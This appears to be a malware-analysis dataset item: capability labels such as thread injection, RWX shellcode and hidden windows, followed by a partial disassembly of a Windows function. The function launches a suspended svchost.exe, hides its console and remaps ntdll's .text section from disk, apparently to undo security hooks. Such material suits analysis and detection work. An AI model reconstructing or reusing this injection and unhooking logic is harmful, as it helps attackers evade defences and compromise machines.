Function at 0x100028c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Enumerate process modules
Hide graphical window
Inject thread
Parse pe header
Resolve function by parsing pe exports
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4a8
movdqa xmmword [rsp + 0x490], xmm15
movdqa xmmword [rsp + 0x480], xmm14
movdqa xmmword [rsp + 0x470], xmm13
movdqa xmmword [rsp + 0x460], xmm12
movdqa xmmword [rsp + 0x450], xmm11
movdqa xmmword [rsp + 0x440], xmm10
movdqa xmmword [rsp + 0x430], xmm9
movdqa xmmword [rsp + 0x420], xmm8
movdqa xmmword [rsp + 0x410], xmm7
movdqa xmmword [rsp + 0x400], xmm6
call sub.KERNEL32.dll_GetConsoleWindow
mov rdi, rax
xor r14d, r14d
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
and dword [rsp + 0x28], 0
mov dword [rsp + 0x30], 3
and dword [rsp + 0x20], 0
mov rcx, rdi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
call fcn.10002826
pxor xmm0, xmm0
lea rsi, [rsp + 0xf0]
movdqa xmmword [rsi], xmm0
and qword [rsi + 0x10], 0
lea rbx, [rsp + 0x1f0]
movdqa xmmword [rbx], xmm0
movdqa xmmword [rbx + 0x60], xmm0
movdqa xmmword [rbx + 0x50], xmm0
movdqa xmmword [rbx + 0x40], xmm0
movdqa xmmword [rbx + 0x30], xmm0
movdqa xmmword [rbx + 0x20], xmm0
movdqa xmmword [rbx + 0x10], xmm0
mov dword [rbx], 0x70
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
and dword [rsp + 0x20], 0
lea rdx, str.svchost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
mov rax, qword [rsi]
mov qword [rsp + 0xd8], rax
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov qword [rsp + 0x98], rax
lea r12, [rsp + 0x68]
and dword [r12], 0
mov edi, 8
xor r15d, r15d
xor esi, esi
lea r8d, [r15*8]
mov dword [rsp + 0x20], 3
mov rdx, rdi
mov r9, r12
call sub.PSAPI.DLL_EnumProcessModulesEx
test eax, eax
je 0x1000413e
mov r13d, dword [rsp + 0x68]
cmp r13d, esi
jbe 0x10002b59
mov rbp, r13
sub rbp, r15
jbe 0x10002a72
mov rax, r14
sub rax, r15
cmp rax, rbp
jae 0x10002b24
mov rsi, r15
add rsi, rbp
jae 0x10002a7a
xor ecx, ecx
jmp 0x10002b1f
mov r15, r13
jmp 0x10002b49
lea rax, [r14 + r14]
cmp rax, rsi
cmova rsi, rax
xor edx, edx
mov rax, rsi
shr rax, 0x3c
sete al
cmp rsi, 5
mov ecx, 4
cmovb rsi, rcx
test r14, r14
je 0x10002ac2
lea rcx, [r14*8]
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x200], rcx
mov ecx, 8
jmp 0x10002ac4
xor ecx, ecx
lea r8, [rsi*8]
mov dl, al
shl edx, 3
mov qword [rsp + 0x1f8], rcx
lea rcx, [rsp + 0xf0]
mov r9, rbx
call fcn.1000b145
cmp qword [rsp + 0xf0], 0
je 0x10002b06
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
jmp 0x10002b1f
mov rdi, qword [rsp + 0xf8]
movabs rax, 0x8000000000000000
lea rcx, [rax + 1]
mov r14, rsi
call fcn.1000b77d
lea rax, [rdi + r15*8]
mov ecx, 1
cmp rcx, rbp
jae 0x10002b42
and qword [rax], 0
inc rcx
add rax, 8
inc r15
jmp 0x10002b2d
and qword [rax], 0
inc r15
mov rcx, qword [rsp + 0x98]
mov esi, r13d
jmp 0x10002a1b
mov ebp, eax
mov eax, r13d
shr eax, 3
mov rcx, rax
cmp r15, rax
jb 0x10004235
cmp r13d, 8
movabs r15, 0x8000000000000000
jae 0x10002bdc
test rcx, rcx
je 0x10002c27
cmp rcx, 5
mov esi, 4
cmovae rsi, rcx
mov r8, rsi
shl r8, 4
lea r9, [rsp + 0x1f0]
and qword [r9 + 8], 0
lea rbx, [rsp + 0xf0]
mov r12d, 8
mov edx, 8
mov rcx, rbx
call fcn.1000b145
cmp qword [rbx], 0
je 0x10002c32
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
xor esi, esi
jmp 0x10002c3e
mov r15, rcx
mov rbx, rcx
shl rbx, 4
mov al, byte [0x104ab0c0]
mov rcx, rbx
call fcn.100043a0
test rax, rax
je 0x100042c8
mov r12, rax
add rax, 8
xor esi, esi
lea rcx, [rsp + 0x98]
mov rdx, qword [rdi + rsi*8]
mov qword [rax - 8], rcx
mov qword [rax], rdx
inc rsi
add rax, 0x10
cmp r15, rsi
jne 0x10002c0e
jmp 0x10002c48
mov r12d, 8
xor r15d, r15d
jmp 0x10002c46
mov r12, qword [rsp + 0xf8]
lea rcx, [r15 + 1]
call fcn.1000b77d
mov r15, rsi
xor esi, esi
mov rcx, r14
mov rdx, rdi
call fcn.10035739
test ebp, ebp
mov qword [rsp + 0x88], r15
je 0x10004244
shl rsi, 4
add rsi, r12
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0xb8], rax
lea rax, str.library_alloc_src_str.rs
mov qword [rsp + 0x90], rax
mov rax, r12
lea r12, [0x1049f320]
pxor xmm8, xmm8
packuswb xmm8, xmm8
movdqa xmm11, xmmword [0x10038060]
movdqa xmm12, xmmword [0x10038070]
movdqa xmm13, xmmword [0x10038080]
movdqa xmm14, xmmword [0x10038090]
movdqa xmm15, xmmword [0x100380a0]
movdqa xmm7, xmmword [0x100380b0]
movdqa xmm9, xmmword [0x100380c0]
movdqa xmm10, xmmword [0x100380d0]
movdqa xmm6, xmmword [0x100380f0]
lea rcx, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xe8], rsi
cmp rax, rsi
je 0x1000383f
mov rsi, qword [rax]
mov qword [rsp + 0xd0], rax
mov rbp, qword [rax + 8]
mov r8d, 0x208
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
xor edx, edx
call sub.msvcrt.dll_memset
mov rcx, qword [rsi]
mov rdx, rbp
mov r8, rdi
mov r9d, 0x104
call sub.PSAPI.DLL_GetModuleBaseNameW
test eax, eax
je 0x10004192
mov r8d, eax
cmp eax, 0x105
jae 0x100041dd
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x1f0]
call fcn.10016bf0
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x58], rax
mov rbx, qword [rsp + 0x100]
test rbx, rbx
je 0x10002e38
mov rcx, qword [rsp + 0x58]
lea rdi, [rcx + rbx]
xor esi, esi
lea rax, [rcx + 1]
mov r8b, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x10002e29
cmp r8b, 0xe0
jae 0x10002dcc
add rcx, 2
cmp rax, rdi
cmovne rax, rcx
mov edx, 2
jmp 0x10002e29
cmp r8b, 0xed
jne 0x10002df8
cmp rax, rdi
je 0x10002e38
lea rax, [rcx + 2]
cmp rax, rdi
je 0x10002e38
cmp byte [rcx + 1], 0x9f
ja 0x100035a8
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x10002e29
add rcx, 2
cmp rax, rdi
cmove rcx, rax
xor eax, eax
cmp rcx, rdi
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x10002e29
xor ecx, ecx
cmp rax, rdi
setne cl
add rax, rcx
mov edx, 4
add rsi, rdx
mov rcx, rax
cmp rax, rdi
jne 0x10002da3
test rbx, rbx
je 0x10002e61
js 0x10004180
mov ecx, 1
mov rdx, rbx
call fcn.1000b11c
test rax, rax
je 0x10004185
mov rsi, rax
mov rdi, rbx
jmp 0x10002e68
mov esi, 1
xor edi, edi
mov rcx, rsi
mov rdx, qword [rsp + 0x58]
mov r8, rbx
call fcn.100360a0
mov qword [rsp + 0x58], rsi
cmp qword [rsp + 0xf0], 0
je 0x10002e9a
mov rcx, qword [rsp + 0xf8]
mov edx, 1
call fcn.100043b0
test rbx, rbx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0xc8], rdi
je 0x10003115
js 0x10004180
mov al, byte [0x104ab0c0]
xor ecx, ecx
mov rdx, rbx
call fcn.100316a0
test rax, rax
je 0x10004185
mov r13, rax
cmp rbx, 0x10
jb 0x1000311b
xor r14d, r14d
movabs rdi, 0x8080808080808080
mov rax, qword [rsp + 0x58]
mov rcx, qword [rax + r14]
movdqu xmm0, xmmword [rax + r14]
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
mov rdx, rax
or rdx, rcx
test rdx, rdi
jne 0x1000311e
mov r8, rcx
mov r10, rcx
mov rdx, rcx
shr rdx, 0x28
mov r9, rcx
shr r9, 0x20
pshufd xmm2, xmm0, 0x44
movdqa xmm1, xmm0
psrlq xmm1, 0x10
psrlq xmm2, 0x18
movsd xmm2, xmm1
shr ecx, 8
movd xmm3, ecx
movdqa xmm1, xmm0
punpcklqdq xmm1, xmm3
movapd xmm3, xmmword [0x10038030]
andpd xmm2, xmm3
pand xmm1, xmm3
packuswb xmm1, xmm2
movd xmm2, r9d
pshufd xmm2, xmm2, 0x50
movdqa xmm3, xmmword [0x10038040]
pandn xmm3, xmm2
movd xmm2, edx
psllq xmm2, 0x28
movdqa xmm4, xmmword [0x10038050]
pandn xmm4, xmm2
mov rcx, rax
shr rcx, 0x28
mov rdx, rax
shr rdx, 0x20
mov r9d, eax
shr r9d, 0x18
mov r11d, eax
shr r11d, 0x10
mov esi, eax
shr esi, 8
shr r8, 0x38
shr r10, 0x30
packuswb xmm1, xmmword [0x10038130]
packuswb xmm1, xmm8
por xmm4, xmm3
por xmm4, xmm1
pand xmm4, xmm11
movd xmm1, r10d
psllq xmm1, 0x30
movdqa xmm2, xmm11
pandn xmm2, xmm1
por xmm2, xmm4
pand xmm2, xmm12
movd xmm1, r8d
psllq xmm1, 0x38
movdqa xmm3, xmm12
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm13
movd xmm1, eax
pshufd xmm1, xmm1, 0x44
movdqa xmm2, xmm13
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm14
movd xmm1, esi
pslldq xmm1, 9
movdqa xmm3, xmm14
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm15
movd xmm1, r11d
pslldq xmm1, 0xa
movdqa xmm2, xmm15
pandn xmm2, xmm1
por xmm2, xmm3
pand xmm2, xmm7
movd xmm1, r9d
pslldq xmm1, 0xb
movdqa xmm3, xmm7
pandn xmm3, xmm1
por xmm3, xmm2
pand xmm3, xmm9
movd xmm1, edx
pshufd xmm1, xmm1, 0
movdqa xmm2, xmm9
pandn xmm2, xmm1
por xmm2, xmm3
movd xmm1, ecx
pslldq xmm1, 0xd
movdqa xmm3, xmm10
pandn xmm3, xmm1
shr rax, 0x30
pand xmm2, xmm10
por xmm3, xmm2
pand xmm3, xmmword [0x100380e0]
movd xmm1, eax
pslldq xmm1, 0xe
por xmm1, xmm3
pand xmm1, xmm6
movdqa xmm2, xmm6
pandn xmm2, xmm0
por xmm2, xmm1
movdqa xmm0, xmm2
paddb xmm0, xmmword [0x10038100]
movdqa xmm1, xmm0
pminub xmm1, xmmword [0x10038110]
pcmpeqb xmm1, xmm0
pand xmm1, xmmword [0x10038120]
por xmm1, xmm2
movdqu xmmword [r13 + r14], xmm1
lea rax, [r14 + 0x10]
add r14, 0x20
cmp r14, qword [rsp + 0x60]
mov r14, rax
jbe 0x10002ee9
mov r14, rax
jmp 0x1000311e
mov r13d, 1
xor r14d, r14d
mov rsi, qword [rsp + 0x60]
mov rax, rsi
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], r13
mov qword [rsp + 0x200], r14
mov rdi, rsi
sub rax, r14
mov qword [rsp + 0x80], rax
je 0x100034ee
mov qword [rsp + 0xe0], rbp
mov rcx, qword [rsp + 0x58]
add r14, rcx
mov rax, qword [rsp + 0x60]
lea rbx, [rcx + rax]
xor r15d, r15d
mov rdi, r14
movzx edx, byte [rdi]
test dl, dl
js 0x1000317e
lea rbp, [rdi + 1]
jmp 0x100031e3
mov eax, edx
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x100031ca
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x100031d8
movzx edx, byte [rdi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x100034c6
lea rbp, [rdi + 4]
jmp 0x100031e3
lea rbp, [rdi + 2]
shl eax, 6
or eax, r8d
mov edx, eax
jmp 0x100031e3
lea rbp, [rdi + 3]
shl eax, 0xc
or ecx, eax
mov edx, ecx
cmp edx, 0x3a3
je 0x10003215
cmp edx, 0x110000
je 0x100034c6
cmp edx, 0x80
jae 0x10003230
lea eax, [rdx - 0x41]
xor ecx, ecx
cmp al, 0x1a
setb cl
shl ecx, 5
or ecx, edx
mov edx, ecx
jmp 0x10003374
test r15, r15
je 0x10003272
cmp r15, qword [rsp + 0x80]
jae 0x1000326c
cmp byte [r14 + r15], 0xbf
jg 0x10003272
jmp 0x10004113
mov eax, 0x57f
xor ecx, ecx
mov r8d, 0x57f
shr rax, 1
add rax, rcx
mov r9d, dword [r12 + rax*8]
cmp r9d, edx
je 0x10003342
lea r10, [rax + 1]
cmp r9d, edx
cmova r8, rax
cmovb rcx, r10
mov rax, r8
sub rax, rcx
ja 0x1000323d
jmp 0x10003374
jne 0x10004113
lea rsi, [r14 + r15]
xor eax, eax
cmp rsi, r14
je 0x10003443
movzx r13d, byte [rsi - 1]
test r13b, r13b
js 0x10003290
dec rsi
jmp 0x100032ea
movzx ecx, byte [rsi - 2]
cmp cl, 0xc0
jge 0x100032bb
movzx edx, byte [rsi - 3]
cmp dl, 0xbf
jg 0x100032c4
movzx r8d, byte [rsi - 4]
add rsi, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x100032cb
add rsi, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x100032d3
add rsi, 0xfffffffffffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
cmp r13d, 0x110000
je 0x10003443
test al, al
jne 0x10003304
mov ecx, r13d
call fcn.100093e0
test al, al
je 0x10003304
mov r13d, 0x110000
xor eax, eax
jmp 0x10003306
mov al, 1
cmp r13d, 0x110000
je 0x10003278
mov ecx, r13d
call fcn.10009510
test al, al
je 0x10003443
mov r13, r15
add r13, 2
je 0x1000338c
cmp r13, qword [rsp + 0x80]
jae 0x10003386
cmp byte [r14 + r13], 0xbf
jg 0x1000338c
jmp 0x100041f4
mov edx, dword [r12 + rax*8 + 4]
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef0800
mov eax, 0x69
cmovb edx, eax
jae 0x10003374
lea rcx, [rsp + 0x1f0]
call fcn.10004c50
mov edx, 0x307
lea rcx, [rsp + 0x1f0]
call fcn.10004c50
jmp 0x10003493
jne 0x100041f4
add r13, r14
xor eax, eax
cmp r13, rbx
je 0x100034a7
movzx esi, byte [r13]
test sil, sil
js 0x100033a9
inc r13
jmp 0x10003412
mov ecx, esi
and ecx, 0x1f
movzx r8d, byte [r13 + 1]
and r8d, 0x3f
cmp sil, 0xdf
jbe 0x100033f9
movzx edx, byte [r13 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp sil, 0xf0
jb 0x10003407
movzx esi, byte [r13 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and esi, 0x3f
or esi, edx
or esi, ecx
cmp esi, 0x110000
je 0x100034a7
add r13, 4
jmp 0x10003412
add r13, 2
shl ecx, 6
or ecx, r8d
mov esi, ecx
jmp 0x10003412
add r13, 3
shl ecx, 0xc
or edx, ecx
mov esi, edx
test al, al
jne 0x1000342a
mov ecx, esi
call fcn.100093e0
test al, al
je 0x1000342a
mov esi, 0x110000
xor eax, eax
jmp 0x1000342c
mov al, 1
cmp esi, 0x110000
je 0x10003391
mov ecx, esi
call fcn.10009510
test al, al
je 0x100034a7
mov rax, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x200]
sub rax, rdx
mov si, 0x83cf
cmp rax, 2
jae 0x1000347b
mov r8d, 2
lea rcx, [rsp + 0x1f0]
call fcn.100045f0
mov rdx, qword [rsp + 0x200]
mov rax, qword [rsp + 0x1f8]
mov word [rax + rdx], si
add rdx, 2
mov qword [rsp + 0x200], rdx
sub r15, rdi
add r15, rbp
mov rdi, rbp
cmp rbp, rbx
jne 0x10003171
jmp 0x100034c6
mov rax, qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x200]
sub rax, rdx
mov si, 0x82cf
cmp rax, 1
jbe 0x10003460
jmp 0x1000347b
mov rsi, qword [rsp + 0x1f0]
mov r13, qword [rsp + 0x1f8]
mov rdi, qword [rsp + 0x200]
mov rbp, qword [rsp + 0xe0]
mov r15, qword [rsp + 0x88]
add qword [rsp + 0xd0], 0x10
mov edx, 9
lea rbx, [rsp + 0x1f0]
mov rcx, rbx
call fcn.1000b9c6
mov rcx, rbx
call fcn.10001706
mov r14, rax
mov rbx, rdx
movabs rax, 0x6c642e6c6c64746e
mov qword [rdx], rax
mov byte [rdx + 8], 0x6c
xor eax, eax
cmp rax, 9
je 0x1000354c
mov cl, byte [rbx + rax]
lea edx, [rcx - 0x41]
cmp dl, 0x1a
setb dl
shl dl, 5
or dl, cl
mov byte [rbx + rax], dl
inc rax
jmp 0x1000352d
cmp rdi, 9
jne 0x1000356b
mov r8d, 9
mov rcx, r13
mov rdx, rbx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x10003860
mov rcx, r14
mov rdx, rbx
call fcn.10001516
mov rcx, rsi
mov rdx, r13
call fcn.10001516
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0x58]
call fcn.10001516
mov rsi, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xd0]
jmp 0x10002d0b
test rbx, rbx
js 0x10004180
mov al, byte [0x104ab0c0]
xor ecx, ecx
mov rdx, rbx
call fcn.100316a0
test rax, rax
je 0x10004185
mov r14, rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x60], rbx
sub rbx, rsi
jb 0x10004324
mov rcx, r14
mov rdx, qword [rsp + 0x58]
mov r8, rsi
call fcn.100360a0
mov qword [rsp + 0x78], rsi
mov r15, rsi
cmp rbx, 2
ja 0x10003620
mov r8d, 3
lea rcx, [rsp + 0x68]
mov rdx, rsi
call fcn.10017950
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov byte [r14 + r15 + 2], 0xbd
mov word [r14 + r15], 0xbfef
add r15, 3
mov qword [rsp + 0x78], r15
add rsi, 3
mov rdx, qword [rsp + 0x60]
cmp rsi, rdx
ja 0x10004221
cmp rsi, rdx
je 0x100037be
mov rax, qword [rsp + 0x58]
lea r9, [rax + rsi]
mov r13, rsi
mov rcx, r9
lea rax, [rcx + 1]
mov r8b, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x100036ea
cmp r8b, 0xe0
jae 0x10003689
add rcx, 2
cmp rax, rdi
cmovne rax, rcx
mov edx, 2
jmp 0x100036ea
cmp r8b, 0xed
jne 0x100036b9
cmp rax, rdi
je 0x100037c3
lea rax, [rcx + 2]
cmp rax, rdi
je 0x100037c3
cmp byte [rcx + 1], 0x9f
ja 0x100036fe
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x100036ea
add rcx, 2
cmp rax, rdi
cmove rcx, rax
xor eax, eax
cmp rcx, rdi
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x100036ea
xor ecx, ecx
cmp rax, rdi
setne cl
add rax, rcx
mov edx, 4
add r13, rdx
mov rcx, rax
cmp rax, rdi
jne 0x10003660
jmp 0x100037c3
mov qword [rsp + 0x80], r9
mov rbx, r13
sub rbx, rsi
jb 0x1000433b
cmp r13, qword [rsp + 0x60]
ja 0x10004312
mov rsi, qword [rsp + 0x68]
mov rax, rsi
sub rax, r15
cmp rax, rbx
jae 0x1000374c
lea rcx, [rsp + 0x68]
mov rdx, r15
mov r8, rbx
call fcn.10017950
mov r15, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x70]
lea rcx, [r14 + r15]
mov rdx, qword [rsp + 0x80]
mov r8, rbx
call fcn.100360a0
add r15, rbx
mov qword [rsp + 0x78], r15
sub rsi, r15
cmp rsi, 2
ja 0x1000378e
mov r8d, 3
lea rcx, [rsp + 0x68]
mov rdx, r15
call fcn.10017950
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
mov byte [r14 + r15 + 2], 0xbd
mov word [r14 + r15], 0xbfef
add r15, 3
mov qword [rsp + 0x78], r15
add r13, 3
mov rsi, r13
mov rdx, qword [rsp + 0x60]
cmp r13, rdx
jbe 0x10003648
jmp 0x10004221
mov rsi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x60]
sub r8, rsi
mov rax, qword [rsp + 0x68]
sub rax, r15
cmp rax, r8
jae 0x100037f4
lea rcx, [rsp + 0x68]
mov rdx, r15
mov rbx, r8
call fcn.10017950
mov r14, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
jmp 0x100037f7
mov rbx, r8
mov rdx, qword [rsp + 0x58]
add rdx, rsi
add r14, r15
mov rcx, r14
mov r8, rbx
call fcn.100360a0
add rbx, r15
mov rdi, qword [rsp + 0x68]
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x58], rax
movabs rax, 0x8000000000000000
cmp rdi, rax
mov r15, qword [rsp + 0x88]
je 0x10002e38
jmp 0x10002e7d
mov rcx, qword [rsp + 0xc0]
mov rdx, r15
call fcn.1000152f
mov rcx, qword [rsp + 0x98]
call fcn.10035761
xor ebp, ebp
jmp 0x100038a5
mov rcx, r14
mov rdx, rbx
call fcn.10001516
mov rcx, rsi
mov rdx, r13
call fcn.10001516
mov rcx, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0x58]
call fcn.10001516
mov rcx, qword [rsp + 0xc0]
mov rdx, r15
call fcn.1000152f
mov rcx, qword [rsp + 0x98]
call fcn.10035761
lea rax, [0x1049d7dc]
lea rcx, [rsp + 0x98]
mov qword [rcx], rax
lea rax, [0x1049d7f9]
mov qword [rcx + 8], rax
and word [rcx + 0x10], 0
call fcn.1000b7a5
test ax, ax
movabs r12, 0x8000000000000000
je 0x10003a18
mov esi, edx
lea rdi, [rsp + 0x1f0]
lea rdx, [rsp + 0x98]
mov rcx, rdi
call fcn.1000b878
mov rax, qword [rdi]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov ebx, 4
cmovae rbx, rcx
shr rcx, 0x3e
jne 0x10004180
lea rdi, [rbx + rbx]
mov ecx, 2
mov rdx, rdi
call fcn.1000b11c
test rax, rax
je 0x100042bb
mov r12, rax
mov word [rax], si
lea rdi, [rsp + 0x68]
mov qword [rdi], rbx
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], 1
mov rax, qword [rsp + 0xa8]
lea rbx, [rsp + 0xf0]
mov qword [rbx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x98]
movdqa xmmword [rbx], xmm0
mov r14d, 1
lea r15, [rsp + 0x1f0]
mov r13, 0xffffffffffffffff
mov rcx, rbx
call fcn.1000b7a5
cmp ax, 1
jne 0x100039e3
mov esi, edx
cmp r14, qword [rsp + 0x68]
jne 0x100039d4
mov rcx, r15
mov rdx, rbx
call fcn.1000b878
mov r8, qword [rsp + 0x1f0]
inc r8
cmove r8, r13
mov rcx, rdi
mov rdx, r14
call fcn.1000b8bb
mov rcx, rax
call fcn.1000b77d
mov r12, qword [rsp + 0x70]
mov word [r12 + r14*2], si
inc r14
mov qword [rsp + 0x78], r14
jmp 0x1000398b
movdqu xmm0, xmmword [rsp + 0x68]
movdqa xmmword [rsp + 0x1f0], xmm0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x200], rax
mov rsi, qword [rsp + 0x1f0]
cmp rax, rsi
movabs r12, 0x8000000000000000
je 0x10003a38
jmp 0x10003a52
and qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f8], 2
and qword [rsp + 0x200], 0
xor esi, esi
lea rdi, [rsp + 0x1f0]
mov rcx, rdi
mov rdx, rsi
call fcn.1000ba2c
mov rsi, qword [rdi]
mov rax, qword [rdi + 0x10]
mov rdi, qword [rsp + 0x1f8]
and word [rdi + rax*2], 0
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov rcx, rdi
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileW
mov rbx, rax
mov rcx, rsi
mov rdx, rdi
call fcn.1000ba47
cmp rbx, 0xffffffffffffffff
je 0x10003b02
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
mov r8d, 0x1000002
xor r9d, r9d
call sub.KERNEL32.dll_CreateFileMappingW
mov rdi, rax
mov rcx, rbx
call sub.KERNEL32.dll_CloseHandle
test rdi, rdi
je 0x10003b02
and qword [rsp + 0x20], 0
mov rcx, rdi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_MapViewOfFile
test rax, rax
je 0x10003b17
mov r14, rax
mov ecx, dword [rax + 0x3c]
mov eax, dword [rcx + rax + 0x50]
cmp rax, 0x40
jae 0x10003b29
mov dl, 1
jmp 0x10003c04
call fcn.1000ba63
mov rsi, rax
mov rcx, rsi
call fcn.10001489
jmp 0x10003ce9
call fcn.1000ba63
mov rsi, rax
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
jmp 0x10003b0a
mov dl, 4
test r14b, 3
jne 0x10003c04
cmp word [r14], 0x5a4d
jne 0x10003c02
test cl, 3
jne 0x10003c04
cmp ecx, 0x1000000
jbe 0x10003b59
mov dl, 7
jmp 0x10003c04
lea r8d, [rcx + 0x88]
cmp eax, r8d
jb 0x10003afb
cmp dword [r14 + rcx], 0x4550
jne 0x10003c02
movzx r9d, word [r14 + rcx + 0x18]
cmp r9d, 0x20b
je 0x10003b8d
mov dl, 5
cmp r9d, 0x10b
jne 0x10003c04
mov edx, dword [r14 + rcx + 0x54]
cmp eax, edx
jb 0x10003afb
cmp edx, dword [r14 + rcx + 0x50]
ja 0x10003b52
mov dl, 6
cmp r9w, 0x20b
jne 0x10003c04
mov edx, dword [r14 + rcx + 0x84]
cmp edx, 0x10
mov r9d, 0x10
cmovb r9d, edx
lea edx, [r8 + r9*8]
cmp eax, edx
jb 0x10003afb
movzx r8d, word [r14 + rcx + 6]
mov dl, 7
cmp r8, 0x60
ja 0x10003c04
imul rdx, r8, 0x28
add rdx, rcx
movzx ecx, word [r14 + rcx + 0x14]
add rcx, rdx
add rcx, 0x18
mov dl, 1
cmp rcx, rax
ja 0x10003c04
mov qword [rsp + 0x1f8], rax
mov rax, r14
jmp 0x10003c0d
mov dl, 5
mov byte [rsp + 0x1f8], dl
xor eax, eax
lea rcx, [rsp + 0x1f0]
mov qword [rcx], rax
lea rdx, [0x1049d820]
call fcn.1000153e
mov ecx, dword [rax + 0x3c]
movzx edx, word [rax + rcx + 0x14]
movzx r8d, word [rax + rcx + 6]
and qword [rsp + 0xf0], 0
xor r9d, r9d
lea r10, str..text
cmp r9, 5
je 0x10003c5c
mov r11b, byte [r9 + r10]
mov byte [rsp + r9 + 0xf0], r11b
inc r9
jmp 0x10003c45
mov r9, qword [rsp + 0xf0]
add rdx, rcx
lea rcx, [rax + rdx]
add rcx, 0xfffffffffffffff0
imul rax, r8, 0x28
test rax, rax
je 0x10004210
lea rsi, [rcx + 0x28]
add rax, 0xffffffffffffffd8
cmp qword [rcx + 0x28], r9
mov rcx, rsi
jne 0x10003c73
lea rdx, [0x1049d858]
lea rcx, [rsp + 0x1f0]
call fcn.1000153e
mov eax, dword [rsi + 0xc]
test rax, rax
je 0x100042e6
mov r8d, dword [rsi + 8]
mov r9d, r8d
mov cl, 1
add r9d, eax
jb 0x100042e8
cmp rdx, r9
jb 0x100042e8
add rbp, rax
mov qword [0x104ab020], r8
mov qword [0x104ab028], rbp
mov rcx, r14
call sub.KERNEL32.dll_UnmapViewOfFile
mov rcx, rdi
call sub.KERNEL32.dll_CloseHandle
lea rax, [0x104ab028]
mov qword [rsp + 0x68], rax
lea rax, [0x1049d800]
lea rdx, [rsp + 0x1f0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [fcn.10006fc0]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x68]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0xf0]
call fcn.10004a10
mov rdi, qword [0x104ab020]
test rdi, rdi
je 0x10003d71
lea rsi, [rdi*4]
mov ecx, 8
mov rdx, rsi
call fcn.100316a0
mov rbx, rax
test rax, rax
jne 0x10003d76
mov ecx, 4
mov rdx, rsi
call fcn.100045d0
mov ebx, 4
mov rdx, qword [0x104ab028]
and qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xd8]
mov r8, rbx
